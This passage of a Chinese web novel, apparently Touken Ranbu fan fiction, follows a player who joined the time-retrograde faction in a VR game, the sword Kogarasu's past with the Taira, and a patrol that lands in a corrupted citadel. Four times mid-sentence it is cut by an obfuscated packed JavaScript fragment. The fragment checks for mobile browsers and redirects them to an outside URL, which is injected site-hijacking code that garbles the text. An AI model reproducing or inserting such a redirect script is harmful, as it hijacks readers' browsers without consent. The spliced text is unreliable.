“呵,”一声短促的冷笑。 平忠盛微微倾身,指尖重重划过那新錾的铭文。 指腹传来的触感是打磨不细致后残留的毛刺感。 “源赖光......”平忠盛的声音不高,却字字如冰珠砸落玉盘,带着被愚弄的怒意,“好一个源氏!好一个斩鬼之刃!” 他猛地抬头:“源氏,竟敢以赝品辱我平家?!欺我平忠盛不识真伪么?” 下方的家臣将头垂得更低,几乎要埋进胸口,身体微微颤抖,不敢发出一丝声响。 平忠盛霍然起身。 此赝品与正品髭切相像到近乎以假乱真,再结合不久前从源家传出的“友切”之名,他怎会意识不到源家的用意。 真是好大的胆子! 下摆带起一股劲风,案几上的灯火剧烈摇曳,将他的影子拉长,扭曲地投射在屏风上。 这种堂而皇之的欺骗,比直接送来一柄劣刀更令他感到羞辱! 源氏这是在试探平家的底线! “源氏的‘诚意’,我平忠盛,今日便原样奉还!”平家家主的声音陡然拔高,。 他猛地转身,看向身后壁龛。 那里,供奉着一柄形制迥异的太刀。 刀鞘漆黑,古朴厚重,毫无多余的装饰。 那是后鸟羽天皇亲赐的御物——小乌丸。 他大步上前,双手极其郑重地捧下刀架。 稳稳握住刀柄,拇指顶开刀镡,一声轻微的机括滑动声响起。 “噌!” 平忠盛双手持刀,向那振赝品悍然挥刀。 “铛!” 时间仿佛在这一刻被无限拉长、凝固。 所有人都屏住了呼吸,等待着那赝品被斩断的瞬间。 然而,一斩已过,小乌被震落在地上,静静地躺在那里,却毫发无损,没有断痕,没有裂口。 这一斩带来的只有刀锋与刀身碰撞的撞击声,还有小乌在撞击的那刻发出的刀鸣声,长长的嗡鸣让众人觉得这把刀仿佛具有了生命,挣脱了有形之质的束缚,化作一缕无形无质却又清晰无比的悲鸣。 忠盛连退数步,靠着屏风,急促的呼吸渐渐平复,但心中的惊涛骇浪却久久无法平息。 他听着刀鸣,目光复杂地扫过地上那柄毫发无损的小乌。 小乌毫发无损的画面,像一记无声的耳光,抽在他引以为傲的平家威权之上,更抽在他试图掌控一切的野心上。 “来人。”他的声音低沉沙哑,带着一丝惊疑,“将此刀......封存。” 这是神谕么......平家......恐怕要变天了。 小乌并未被带离供奉小乌丸的刀室,却被弃置角落,刀身覆布。 仆人日复一日进出为小乌丸精细养护,却从未掀开过小乌的遮布,随着时间流逝,遮布悄然落满了一层厚厚的灰。 ...... 寿永四年三月,坛之浦战役。 平氏战败。 火光与鲜血染红的海面上先是飘荡起平氏之人的哀哭。 随后坠海之声此起彼伏。 小乌残存的灵智在漫长的沉寂中被惊醒,昏昏沉沉中,它看见平氏武士那因疲惫和恐惧而颤抖的手,掠过甲板上的断刃与的血迹,最终投向船下的黑暗。 海面之下,华丽的衣袍吸饱了海水,裹挟着曾经尊贵的身躯坠向永恒的黑暗。 沉重的甲胄,加速着下落的进程,如同为这段历史钉上最后的棺钉。 一张张面孔,凝固着惊惶、麻木或最后的疯狂,迅速被浑浊的海水吞噬。 徒劳抓挠的手,搅起一串串转瞬即逝的气泡。 它还看见有一个人立于近前。 他的发髻如乌鸦展翼般舒展,黑曜石般的双眸中倒映出火光,红黑的衣裳融入漆黑的海域、熊熊的战火。 坛之浦的海风尖啸着,卷起破碎的浪沫,如同无数冤魂冰冷的指尖,拂过乌鸦童子腰间的刀鞘。 他幽幽叹道: “这由人执笔写就的长卷中,我们是他们手中的流转的墨、挥毫的笔......” “是书写故事的死物......” “是染红历史的......工具罢了......” 话音刚落,此人的身影随着抱着刀,跃入深海中的人消散而去。 ...... “......哈。” 小乌醒了。 他做了一个梦,那梦清晰得如同烙印的记忆,他甚至还记得被几乎被拦腰斩断的剧痛。 这是属于“小乌”的记忆。 他也知道之前为何会鬼使神差地把御守送给小乌丸了。 但是......这是属于自设刀剑玩家的彩蛋吗?过于真实了。 小乌怀疑游戏官方是不是偷偷抄了f??te的设定......好强的既视感。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795914|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不过不管怎么说,虽然不是啥好梦,体验感倒是可以给个好评。 有这么牛逼的技术力官方做什么都会成功的! 小乌昨天被同事捞回本丸后就焉了。 虽然游戏仓配备了足以很长一段时间的营养液,以及身体处于睡眠状态大大降低了玩家的疲劳度,玩家在游戏里可以连续行动好几天都不带睡,但是小乌觉得心很累。 所以洗了个澡就回部屋躺下呼呼大睡,【就这个战斗爽】干脆开着指挥官的专属技能——时间溯行军形态领着npc接着出阵去了。 小乌睡醒后琢磨着没有御守不行,干脆氪了金准备去万屋采购御守。 账户里有一大笔遗产,缺啥他都不缺钱,只是一直以来都没遇到什么非常值得氪金的游戏所以很少充钱。 小乌传送到了万屋,直奔卖御守到店铺,一口气进了十几个金御守。 他捧着御守想,我身挂满御守,磨都能磨死敌方! ...... 小乌丸也在万屋,他手里摩挲着那日不知名的敌方付丧神送的御守,翻来覆去地查看,都没发现和正常的御守有什么区别。 他曾以为这是求助手段,陪着主君去时之政府报告此事时,也让时之政府进行了检查,但检测不出什么来。 无果,时之政府只好把御守还给小乌丸,拿走了他们提供的照片去研究这到底是哪位付丧神被拐到时间溯行军那里去了。 刀纹只是一只无头的鸟类,没有什么非常有辨识性的元素,研究员头疼,一边查资料一边找付丧神到处问。 哦哦...... 小乌丸随处扫视的眼睛定住了,一位坐在店铺窗口的髭切若有所觉,转头看来。 “哎呀,这么看着我,有什么事吗?” 髭切讶异注视者居然是小乌丸,随后展露微笑询问,坐在对面的膝丸也一并循声看过来。 “不,无事。” 小乌丸礼貌颔首,转身离去。 髭切一头雾水,但也懒得去追究。 行吧,他说没有就是没有。 ...... 本丸尚无两位源氏重宝,所以小乌丸未能深究那双眼睛的熟悉是从何而来,如今在万屋看到源氏重宝,阔然开朗。 “与源氏有渊源......” 相似的眼型,断头的鸟......断头的乌鸦。 答案呼之欲出——唯有那把他从平家家主刀下保下的那把刀了。 当年,他对这个被伪装成髭切送来平氏,承受无妄之灾的孩子产生了怜悯之心,在平家家主想要将它斩断之时动了手脚,保下了这把刀。 而小乌被斩击后发出的哀鸣,更是让他确信此举无错。 这个孩子......还在坚强地活着啊。 6. 第六章 采购完御守,小乌继续在万屋溜溜哒哒。 全息版的万屋极其逼真,可以说曾经玩家幻想过的都有。 官方店铺按付丧神特色分门别类,比如烛台切光忠的饭店、笼手切江的服装设计铺等等。 不过,玩家才是这里的主角——通过租赁商铺,派遣自家本丸的刀剑、甚至是审神者亲自坐镇经营店铺,官方只不过是占了一小块区域,并且主要做的也是游戏道具生意。 小乌慕名已久,终于尝到了传说中的光忠特制,心满意足地打了个饱嗝。想象在本丸的日子,全靠【就这个战斗爽】库存的便当过活,那些灾难级的厨艺,ai吃了都得yue。 他添加了店铺的外送联系方式,决定以后自己点外卖吃...... 玩个游戏还得惦记一日三餐,怪真实的...... 咦?我记得我放了营养液来着为啥还会饿? 小乌感觉自己发现了bug,但他不知道是不是就他一个人会这样,还是决定先回去问问同事。 走在万屋的街上,小乌觉得越来越不对劲,路过的人好像都在看他,目光越来越灼热。 他忍不住加快脚步,看他的人见他发现了要跑,不装了,纷纷涌上来,顿时围个水泄不通,不知道的还以为明星上街了。 “小乌小乌,你是不是小乌!” “求合照!求合照!” “加个好友啊小乌!在时间溯行军呆腻了就来我的本丸呀~” “不要听她的!我的本丸是等级最高的,有超级大豪斯,来我的本丸!” “?你个曹贼!” “刃还不是你的怎么就曹贼?” “老师我是做谷子的!可不可以给个授权!” “叽里咕噜说什么呢都,小乌给我摸摸腿!” 万屋作为禁战区域,所有模式的玩家都能来万屋,鱼龙混杂,导致现在群魔乱舞,甚至有刀男玩家当街和审神者扯头花,话题也是逐渐变态。 小乌直接被逼进了一家审神者亲自坐镇的店里。 坐在前台的审神者和小乌对上眼,店主默默降下店门,将喧嚣彻底隔绝在外面。 “谢谢老板,好人一生平安。” 世上还是好人多,小乌瘫坐在地上,终于呼吸到了新鲜空气。 话音刚落,店主就笑眯眯地掏出了游戏终端。 “......”彳亍。 “老板你家是做什么的?” “手工定制,万物皆可,可以现场定做交货,童叟无欺哦。” “那......能不能做电动轮椅?” “啥?” ...... 最终小乌心满意足地把新鲜出炉的电动轮椅塞进背包里走了。 店主纳闷地翻看自己做的设计图纸:“这游戏做轮椅干啥?马已经满足不了玩家需求了吗?” ...... 小乌回到本丸就迫不及待地把轮椅放出来坐上去,打开开关,握住摇杆,推—— 小乌在本丸里面轮椅飙车飙出一道残影,灵活地漂移、转圈,这就是飞一样的感觉。 芜湖,爽——! 乐极生悲,一个急转弯没刹住,撞上了背对他的【就这个战斗爽】。 【就这个战斗爽】还开着他那个人外,啊不,溯行军模式,轮椅撞在他腿上都跟挠痒痒似的,茫然地伸手挠挠,才反应过好像是有什么玩意撞他。 转身一看,乐了:“你哪来的轮椅啊?去万屋定的?” “对啊!”小乌操控轮椅转圈圈,吱呀作响,“万屋好神奇啊!系统辅助做手工超级快,店主没花多久就弄好了。” “那可不,pvx圣地不是白叫的。” 【就这个战斗爽】看着他带起来的小萌新自己探索得风生水起,老怀甚慰。 他随即好奇:“你坐轮椅是干啥?你出阵要带去飙轮椅?” “......想多了,我的锈蚀debuff就算降了疼痛数值走起路来还是会有点怪怪的,所以才想做这个。” 小乌心虚地移开视线,他其实刚刚去试过了。 系统提示不符合年代产物不允许带入。 小乌觉得有病,他一个时间溯行军还管你符不符合年代?这不合理! 【就这个战斗爽】也深感赞同:“就是!太不合理了!要不投诉渠道投诉一下呢?说起来,”他话锋一转,骨爪摩挲下巴,“我还奇怪为什么上次你被刀剑男士围了居然一点伤都没有。” “?你啥意思?” “啊啊错了老师,我的意思是按照ai的行为模拟应该会马上攻击敌方阵营才对,我来救你的时候都做好你已经销号了的心理准备了,没想到他们好像都围着你不动?” 好像是这么个理。 但......“有没有可能对敌方刀剑男士会不太一样?毕竟我是第一个加入时间溯行军的刀剑玩家,可能是大家没有触发过?他们围着我问为什么要加入时间溯行军来着,还怀疑我可能是被威胁了。” 哈?还有特殊剧情? 【就这个战斗爽】震惊,然后扼腕叹息:“居然还能这样,老师下次触发特殊剧情能不能帮我录一下,我也想看~” “没问题!” “好耶,我们先把意见反馈一下吧。” 【就这个战斗爽】一边划出投诉反馈渠道,一边询问,“你还有遇到什么bug吗?一起反馈一下,我这边码好了你抄一份一起反馈,人多点客服会更重视些。” 小乌立刻想起刚刚在万屋生起的疑惑,连忙:“有的有的,我发现我好像很容易饿,游戏里面一天三餐都要吃饭,我明明给游戏仓放粮够一周的营养液,不知道是不是装置出了啥问题。” “确实是个很严重的问题诶,我完全没遇见过这种情况。” 【就这个战斗爽】把意见都码好,然后发送给小乌,让他按着上面抄。 小乌依言打开系统,却愣住了。 “奇怪......我怎么找不到投诉通道?” “啊?” 【就这个战斗爽】凑过来帮他一起找,真没有了。 “我记得我前两天还有投诉过的!” “啧,系统是不是因为把你搞那么惨心虚所以把你投诉键给扣了......” 【就这个战斗爽】嘟囔着,把这个bug又填了上去。 “......”不能这么缺德吧。 “我帮你反馈一下吧,有结果我马上通知你。”他压低了声音,带着担忧,“这游戏公司咋那么不靠谱呢......游戏仓最近还出现重大事故上新闻了,老师你最近还是不要在游戏里面泡太久。” 这可不得了! “出什么事了?”小乌心头一紧。 【就这个战斗爽】动动手指,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795915|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悬浮的虚拟新闻窗口瞬间弹到小乌面前:“喏,就这个,游戏仓故障发生火灾,烧死了一个玩家。新闻刚爆出来,闹得挺大的,官方那边好像也在排查安全隐患......” 新闻标题刺眼地跳动着:《惊爆!<新·刀剑乱舞>全息游戏仓发生致命故障,玩家不幸身亡!》 小乌瞳孔一缩,手指下意识就要点开那个链接查看详情。 就在他的指尖即将触碰到新闻链接的瞬间—— “等等!!老师!!!” 【就这个战斗爽】猛地一声大吼,震得小乌轮椅都跟着一哆嗦,手指硬生生停在了半空中。 “啊?”小乌惊魂未定地抬头,只见【就这个战斗爽】那张覆盖着骨质面具的溯行军脸猛地凑近,巨大的骨爪带起一股风,“啪”地一下拍在了轮椅的扶手上,整个轮椅都晃了晃。 “新闻等会再看,官方肯定在装死或者甩锅,看了还糟心!”【就这个战斗爽】的骨尾在身后甩得像全自动扫地机,直接把屁股后面那块地都给扫干净了,“现在有更重要的事!十万火急!” 他拔高的声音盖过了小乌心头对新闻的惊疑。 “啥、啥事啊?”小乌果然被这突如其来的一下吸引了全部注意力,手指从新闻链接上缩了回来,茫然地看着对方。 【就这个战斗爽】直起身,骨爪“嘭”地一声拍在自己厚实的胸甲上,发出沉闷的响声:“排练!还记得我之前说要带你去朋友本丸看源氏兄弟不?他的本丸有点特殊我们得先排个剧本。” 效果立竿见影。 小乌那双锈红色的猫眼“唰”地一下亮得惊人,刚才的惊恐瞬间被兴奋和期待取代,连带着轮椅都往前窜了一下:“对哦!排练!差点忘了!排练什么?剧本是什么......为什么还要排剧本?” 说着他从激动转为茫然,完全把那个恐怖的新闻链接抛到了九霄云外。 去找朋友玩还要演剧本这么卷的吗?话剧爱好者? “就是......就是......” 【就这个战斗爽】绞尽脑汁,灵光一闪,举了个例子:“就比如......宠物猫绝育的时候主人不是要和医生演戏嘛......假装是医生抢走的猫,防止记恨啥的,就是那种情况。” 小乌顿时觉得月夸下发凉,差点滚下轮椅:“你要带我去绝育——???!!!” “啊不不不,不是那个意思!” 【就这个战斗爽】大惊失色,赶紧解释:“我们是时间溯行军啊,审神者和指挥官是没什么,但是老师你是刀剑男士啊!游戏里的npc刀剑男士智能得很,他们甚至会互相传递信息,万一你以后想‘洗白’回时之政府呢?让npc觉得你真投敌了,名声可就在刀剑圈子里臭了。” “哦......原来是这样......” 小乌松了一口气:“所以剧本是?” 7. 第七章 一队风尘仆仆的付丧神正在前行。 他们是隶属于政府的刀剑付丧神,负责在巡查发现踪迹的流浪付丧神,将他们安抚或制服,收入政府专门设立的收留所。 这一支队伍分别由髭切、膝丸、狮子王、堀川国广、小夜左文字、今剑组成,是全极化阵容,不过为了不引起流浪付丧神的过度警惕,依旧保持着极化前的服装,并且抹上了尘土,变得有些狼狈。 髭切领口伪装成扣子的直播设备正闪烁着不可察觉微光,忠实地记录着这支队伍的一切。 ...... [时之政府官方执法队xxx号]-直播中- [吓到了吗]:又有流浪付丧神了吗?渣审真是不得好死啊。 [今夜无月]:哦哦这队是源氏带队吗,刚刚看到有一队是三日月和小狐丸带队,时政还挺会选刃的,带队的都是心机老刃(。 [我要洗被被的被被了]:最近时之政府派执法队加严巡查后受害刀剑越来越少了,真该死啊,不喜欢可以上报时政重新分配,干嘛要把刀扔掉啊!又不是个人财物! [资源all999]:就是,审神者和刀剑付丧神只是同事,还真有人把他们当仆人了,看到那些落网的渣滓真想一巴掌呼死他们。 [检非违使克星]:哥哥切身上有点脏,我来帮你舔干净...... [江户城捡垃圾专业户]:我靠楼上有变态出没,弟弟丸警告 jpg. [检非违使克星]:弟弟丸也脏了,我一起舔嘿嘿嘿哈哈哈哈哈哈哈哈。 [萤火]:喂喂喂,这直播可不止审神者能看,你们收敛点,舞到正主脸上就社死了。 ...... “兄长,西南方向有异常的信号!”膝丸突然停下脚步,紧盯着手中一个不断闪烁的圆形仪器,那是专门探测付丧神灵力的装置,“信号非常微弱,且断断续续,似乎被强烈的乱流干扰了......但可以确定大体位置。” 髭切金色的眸子转向信号方向。 “哦呀?”他语气依旧带着点慵懒,但眼神却锐利起来,“去看看。” “位置有点奇怪。”膝丸眉头紧锁,看向髭切,“信号源在一个很荒凉的地方,按常理来说付丧神不会躲在这种完全不适宜生存的地方。” 他们追寻着信号,发现信号居然来自一处悬崖的崖底,黑色吞噬了崖底的一切,望不见里面有什么。 髭切微微眯起眼,似乎在评估是否要继续下去探查。 片刻,他轻轻吐出一口气,指尖抚过本体的刀镡:“短刀们去探查一下有没有下悬崖的途径吧?如果没有路,就记下这处地点让那些人类自己来解决了。” “是!” “了解!” 小夜左文字和今剑领命后对视一眼,分别向相反的方向沿着崖边奔去。 “呜哇这个悬崖真是相当高啊!”狮子王趴在崖边向下探头探脑,感叹,“这个高度……刃摔下去,还能活得下去吗?” [时之政府官方执法队xxx号]-直播中- [藤四郎观察记录]:难说哦,万一是挂树上了?或者崖壁上有山洞啥的呢? [那我问你]:然后在山洞里捡到了隐士高人留下的尸骨和秘籍,苦苦修炼九九八十一天,出来后开始我要拿回属于我的的一切龙王归来? [我要爷爷]:楼上吃了多少本龙傲天小说啊? “既然有灵力反应,那就不能放弃。”膝丸严肃地说。 “希望底下的刃能坚持到救援来吧。”堀川国广叹了一口气,除非发现能够通往崖底的路,他们现在什么都做不了。 不一会儿,小夜左文字和今剑就回来了。 “这个悬崖特别陡峭,并没有找到可以下脚的地方。” 倏然,异变陡生! 仿佛有一只无形的大手猛地拨动了这片区域的时空弦,一股强大的牵引力猛地从崖底袭来,如同崖底藏着一只巨兽般,巨兽伸出了舌头,瞬间卷住了猝不及防的六人小队。 “什么?!”髭切脸色微变,伸手拉住最近的膝丸,试图稳住身形,但那力量太过强大和诡异。 “兄长!小心!”膝丸惊呼,手中的探测仪瞬间脱手,被乱流卷走消失无踪。 小夜左文字和今剑更是连惊呼都来不及发出,就被那股力量狠狠甩下了崖底。 崖底无尽的黑暗已经化作了一道巨大的时空裂缝,其中的景象如同被打翻的调色盘,混乱的色彩与扭曲的光线交织翻滚。 剩下的四名付丧神脚下的泥土深深陷了下去,却依然难以抵抗这突然出现的时空裂缝,拖拽出一道道痕迹。 再这样下去也会被拖下去。 既然横竖都是下去...... 髭切望向涌动着斑斓色彩的时空裂缝,在几秒钟思考了很多,最后他下定决心,命令:“跳进去!” 他一马当先,带着膝丸一同跳入了时空裂缝。 剩下的狮子王和堀川国广也立马响应,紧随其后。 四人如同狂风中的落叶,完全失去了控制。 髭切只来得及将膝丸揽进怀里,眼前便是一阵天旋地转,时空裂缝中的景象如同被橡皮擦抹去般飞速褪色、扭曲...... 下一秒,巨大的牵引力骤然消失。 脚踏实地的感觉传来,樱花香气涌入鼻腔。 耳边的轰鸣声消失了,取而代之的是远处隐隐约约的流水声与鸟鸣。 髭切猛地抬头,瞳孔因眼前的景象而骤然收缩。 哪里还有什么时空乱流? 映入眼帘的,是一片宁静祥和的景象。 精致的木质回廊蜿蜒,清澈的溪水潺潺流过小巧的石桥,粉白的樱花树在微风中摇曳,洒落点点花瓣。 远处,甚至能看到造型奇特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795916|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、色彩明快的现代风格建筑装饰,空气中弥漫着一种过于舒适的灵力场。 这分明是一个精心打理、充满生活气息的本丸庭院。 一行刃一脸茫然地站在他身边,显然都没从这突如其来的空间转换中回过神来。 膝丸下意识地握紧了刀柄,警惕地环顾四周:“这里是哪里?我们怎么会......” 髭切领口的直播设备在刚才剧烈的空间转换和冲击中似乎受到了影响,画面闪烁不定,角度也有些歪斜,但依旧顽强地工作着,将眼前这充满冲击力的一幕,实时传回来时之政府的观测中心,以及无数正在观看官方直播的审神者眼前。 [时之政府官方执法队xxx号]- 直播中 - [吓到了吗]:?????? [今夜无月]:等等等等等等!发生了什么?!刚才不是还在悬崖边找路吗?!信号干扰雪花屏了一下,怎么就...... [我要洗被被的被被了]:这什么地方啊?!好像是本丸? [主人我不想走路了]:好像确实是个本丸,刚刚到时空裂缝好诡异啊,我还是第一次直面时空裂缝,五颜六色的看一眼都要晕了。 [检非违使克星]:舔屏暂停!哥哥切!弟弟丸!你们掉进哪个审神者的本丸了? [近侍抢誉惯犯]:掉进......本丸?时空裂缝直通别人家后院?!好离谱,本丸的防护这么弱吗? [小短裤嘿嘿]:小夜!今剑!你们还好吗?刚才好像被甩下去了! [挖地肝到秃]:小短刀没事,在旁边。 [渣审biss]:这庭院看着好新好漂亮......但感觉好怪。 [资源all999]:楼上+1,感觉也有点怪,但是说不上来哪里奇怪。 直播画面中,髭切眼眸微微眯起,迅速扫视着这片区域。 膝丸紧握本体刀,警惕地扫视着每一个角落。 狮子王和崛川国广背靠背站立,小夜左文字和今剑虽然刚才被甩脱,但似乎并未受伤,此刻也迅速汇合,小夜沉默地握紧短刀,今剑则好奇又警惕地打量着四周。 “兄长,这里似乎是本丸......”膝丸压低声音,语气充满难以置信,“但是......太安静了。” 作为执法经验的付丧神,他们敏锐地察觉到了问题。 髭切轻轻“嗯”了一声,指尖无意识地相互摩挲:“是个有趣的地方呢......本丸有这么容易被时空裂缝突破吗?” 他的目光落在那色彩明快的现代装饰上,金色的瞳孔深处闪过一丝猜疑——他甚至开始怀疑是不是有人故意做局。 就在此时,回廊尽头传来一阵急促的脚步声。 一个穿着深蓝色狩衣、面容清俊的年轻审神者快步走了出来,脸上带着恰到好处的惊讶和关切。 “哎呀!这、这是怎么回事?” 8. 第八章 当【雀隐】的目光扫过庭院中突兀出现的六道身影时,心里瞬间爆发出捡到宝的狂喜。 牛逼啊!真有NPC刷进本丸了! 【雀隐】激动得差点没忍住喊出来,他刚才收到系统提示,检测到异常空间波动,陌生NPC已进入本丸范围,还以为是bug或者新活动预告,没想到是这么大一份惊喜。 他脑子里瞬间闪过无数念头:隐藏任务?特殊剧情?还是官方新出的互动玩法?还是出了bug? 不过实在是太巧了,刚把卖掉一对源氏,这就又送来了一对。 【雀隐】眼神扫过髭切和膝丸,脸上的笑容越来越收不住,过于灿烂。 之前不小心忘了朋友要来本丸玩,把源氏兄弟给卖出去了,他还想着要告诉朋友等他锻出新的再来,这些npc真是游戏送来的一场及时雨。 是的,之前的一对源氏兄弟被卖出去了。 【雀隐】其实是时间溯行军阵营的卧底。 起初他本来也是想好好经营本丸的,他来当卧底只是为了探查高玩审神者本丸坐标,还有在开阵营活动的时候获取第一手消息。 但是当【就这个战斗爽】第一次来他本丸找他玩后,一切都变了。 还没领教到npc智能程度的【雀隐】遭到了毒打——有精神层面也有物理层面。 本丸里的刀剑男士忠诚和好感度越来越低,最开始还会不断找【雀隐】谈话,大概的意思就是质询主公为什么要和历史主义者勾结,【雀隐】没办法给出一个合理的解释,敷衍一番就过去了。 付丧神们一波又一波的“骚扰”让【雀隐】苦不堪言,直到【就这个战斗爽】开着溯行军形态再一次上门后,所有npc瞬间炸了,好感和忠诚度一眼望过去全是刺眼的血红。 刀剑男士一波又一波地刺杀,甚至对这个本丸的审神者也豪不留情,npc智能到还会互相配合使用战术,【雀隐】和【就这个战斗爽】差点被群攻弄死之后才突然醒悟【就这个战斗爽】这个历史主义者上门来往在npc眼里有多么罪不可恕。 至于和【雀隐】一起创建本丸的刀剑玩家嘛......刚开始还会一起抵抗,后面直接被吓跑了,删号重新去建了一个时间溯行军的账号,原本的刀剑账号被ai接管,刺杀大军又添一员。 【雀隐】:命苦哦...... 到这个地步已经无法挽回npc了,【雀隐】干脆一不做而不休,花大价钱购买了暗堕mod,爆改暗堕本丸,一边刷资源、探查时之政府高玩审神者的本丸坐标,一边将高练度、重度暗堕的付丧神转化为同等练度的时间溯行军,然后转手卖给需要战力的指挥官回血。 小乌听完【就这个战斗爽】为他讲解他朋友本丸的概况,评价:你们pvp玩家......哈哈,难评。 建个审神者的号当时溯卧底已经很离谱了,在人家阵营里薅资源做时间溯行军更是重量级。 这个审神者伪装得并不走心。 至少在场的六名付丧神都能看得出来,【雀隐】似乎对他们的到来有所预料。 虚假的惊讶和没藏好的笑容都让付丧神们发觉来着不善。 “非常抱歉!”堀川国广先一步开口,天蓝色的大眼睛和纯真青涩的笑容是他放松他人警惕的武器之一,“我们遭遇了时空裂隙,掉入了您的本丸,可否行个方便,我们会自行离开。” 【雀隐】很失望。 他本来以为是系统送他的无主刀剑,结果查看面板发现已经有主了,无法绑定,而且很多资料都是乱码,只能查看最基本的数值。 一整队满级极化刀? 【雀隐】看着他们明显不是极化后的服装。 心头疑窦丛生,目光扫过他们刻意掩饰的极化前装束。双方的目光在空中碰撞,无声的猜忌弥漫开来:是渣审的陷阱?还是卧底身份暴露了哪个玩家派进来搞我的? 总之......先下手为强! “诶——别急着走嘛!”【雀隐】脸上的笑容瞬间放大,带着的热情,但是演技太烂显得有些浮夸。 他快步上前,仿佛没看到付丧神们眼中未散的警惕,伸手就想拍堀川国广的肩膀以示亲近。 堀川国广保持微笑,不动声色侧身半步,巧妙地避开了那只手。 嗨呀,敌意好像有点大。 “相逢即是缘分!” 【雀隐】假装没察觉堀川国广的闪避,双手一拍,声音洪亮得在空旷的庭院里甚至带起了回音,“看几位的样子,想必经历了不小的麻烦。我这本丸虽小,但热水热饭还是管够的!不如先休整一下再说离开的事?” 狮子王和崛川国广交换了一个眼神,都看到了对方眼中的疑虑。 小夜左文字沉默地站在阴影里,短刀已悄然滑入袖中,随时可以出鞘。 今剑则歪着头,看看审神者,又看看髭切,等待队长的指示。 髭切轻轻“呵”了一声,那轻飘飘的气音像羽毛拂过,却让【雀隐】脸上的笑容僵了一瞬。 这把心机刀向来不好对付,洞察力非凡,不熟悉的玩家甚至会觉得压迫感过强,可怕得让人不敢接近。 当初本丸的刺杀活动这对兄弟也是当仁不让冲在第一线。 髭切向前踱了一步,站在了最前方,慢悠悠地开口:“那真太好了呢。” 他刻意拖长了语调,目光扫过空无一人的回廊,“只是,您的本丸似乎有些过于清净了?其他刀剑男士们是出阵去了吗?还是......另有要务?” “若有不便,我们也不多打扰。” 一个没有刀剑男士的本丸,本身就是最大的异常。 正常的本丸,绝不可能如此死寂。 没有短刀们追逐打闹的笑语,没有刀剑男士们各自忙碌的声响。 空气中弥漫的灵力场虽然表面上察觉不出什么问题,却带着一股若有似无、被刻意掩盖过的晦涩气息。 对于斩鬼刀来说,这一点气息恍若明灯。 暗堕的气息。 “哎呀,这个嘛......说来惭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795917|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愧。本丸新建不久,刀匠那边手气一直不太好,锻出的刀剑有限。出阵和远征安排完后,只有我留守在本丸了。” 【雀隐】脸上的尴尬恰到好处,谎言却敷衍得近乎直白。 因为刀剑男士其实基本上都待在本丸各种建筑的室内中,只要推开门,说不定就能发现踪迹,但他不在意这个,安装了暗堕mod之后他对整个本丸的刀剑npc都有了强制控制权,就这六个刀剑付丧神,全极化满级又怎么样? 数量够多,道具够多,在他的主场他就是无敌的。 膝丸眉头紧锁,握着刀柄的手又紧了紧。这审神者的话,他一个字都不信。 违和感越来越重,那股被掩藏的暗堕气息,让他本能地感到厌恶和警惕。 [黑衣]:哇这人演技好假,本丸有问题吧,渣审? [世梧]:哥切太不动声色了有点看不出想法,但是看弟丸能够发现他似乎有察觉到什么。 [亲友重度依赖]:有暗堕气息吧,斩鬼刀对这个很敏感。 [消散]:怎么办,这个渣审不想放他们走的样子。 [十二轮]:刀刀冲呀!敢动手直接砍他!我就不信我们满配队伍打不过一个渣审! [酒中影]:这个渣审演技这么烂怎么活过政府检查的?是有后台还是有什么后手? “原来如此。”髭切点了点头,仿佛接受了这个解释,脸上又挂回了那副无害的笑容,“承蒙大人盛情,我等确实需要稍作休整。那便......叨扰了?” 他主动应下了邀请! 膝丸瞬间明白了兄长的用意,这个本丸处处透着诡异,审神者更是疑点重重。 强行离开,对方若真有歹意,在这疑似对方主场的地方反而容易落入被动。 不如顺势留下,一来可以休整片刻,二来可以近距离观察,探查这个本丸隐藏的秘密,三来......直播还在继续,时政那边想必已经注意到这里的异常,拖延时间等待支援或指令是最稳妥的选择。 至于对方是否有什么后手......髭切眼底闪过一丝冷光,那也得看他有没有这个本事。 “是,兄长说得对。”膝丸立刻附和,对着【雀隐】微微颔首,语气恢复了平日的沉稳,“感谢审神者大人收留,出阵多日,我们确实需要休整一番。” 